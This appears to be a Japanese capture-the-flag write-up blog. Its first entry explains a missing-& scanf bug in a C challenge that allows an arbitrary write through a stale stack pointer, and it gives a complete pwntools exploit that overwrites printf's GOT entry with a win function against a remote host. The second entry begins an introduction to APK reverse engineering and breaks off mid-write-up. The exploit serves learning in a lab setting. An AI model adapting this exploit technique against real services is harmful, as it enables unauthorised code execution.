Index

2/22 Noob programmer

...
void ask_room_number() {
    long age;
    printf("Input your room number> ");
    scanf("%ld",age);
    printf("Ok! I'll visit your room!");
}

void show_welcome() {
    char name[0x20];
    printf("Input your name> ");
    fgets(name,sizeof(name),stdin);
    printf("Welcome! %s",name);
}

int main(void) {
...
    show_welcome();
    ask_room_number();

    return 0;
}

scanfのageに&が抜けている。

main関数ではshow_welcome→ask_room_numberの順で呼び出しており、 nameと同じスタック領域が使用される。

つまり、nameでスタック上にアドレスを書き込むことで 次の入力でそのアドレスをポインタとして扱い、任意のアドレスに書き込みが可能となる。

Canary                                  : Disabled
NX                                      : Enabled
PIE                                     : Disabled (0x400000)
RELRO                                   : Partial RELRO
Fortify                                 : Not found

No PIE, partial RELROなので printf@GOT を win に上書きする。

from pwn import *

context.binary = elf = ELF("./chal", checksec=False)
io = remote("34.170.146.252", 17684)

printf_got = elf.got["printf"]
win = elf.symbols["win"]
name = b"A" * 24 + p64(printf_got)[:7]
io.sendafter(b"Input your name> ", name + b"\\n")
io.sendlineafter(b"Input your room number> ", str(win).encode())
io.sendline(b"cat flag*")
io.interactive()

2/23 Alpaca Quest ★Author's writeup

作問回でした。普段の簡易writeupと違って丁寧に書きます。

今回はAPKのリバースエンジニアリング入門がテーマです。 APKはAndroid アプリの配布パッケージです。

Androidはスマートフォンに限らず、 組み込みAndroidとして家庭向けのタブレット端末や産業用機器に使われていたり、 自動車向けのナビOS(AAOS)として使われていたり、 MetaQuest(VRゴーグル)で使われるMeta Horizon OSのベースになっていたり、 意外と身近に溢れています。

今回はその中で動くアプリケーションの基礎について知る機会になればと思い作問しました。

APKの正体

APKの実態はzipファイルであり、アプリのコードや画像などのリソース、署名情報などを含みます。

基本的なビルドの流れは次の通りです。 Java/Kotlin →(コンパイル)→ .class →(D8など)→ .dex →(パッケージ)→ APK

ベースはJavaで書かれており、APKを解凍すればdexファイルが確認できます。 dexはAndroid初期ではDelvik VM上で動いていましたが、今ではART上で動いています。 どちらにせよ、dexを動かす点では変わらないので説明は省きます。 dexをJavaコードにデコンパイルできれば、解析は容易になります。 余談:JVMやDelvik, ARTのような言語系のVMは中間表現で解釈するのでCPUアーキに依存しないメリットがあります

DEXのデコンパイル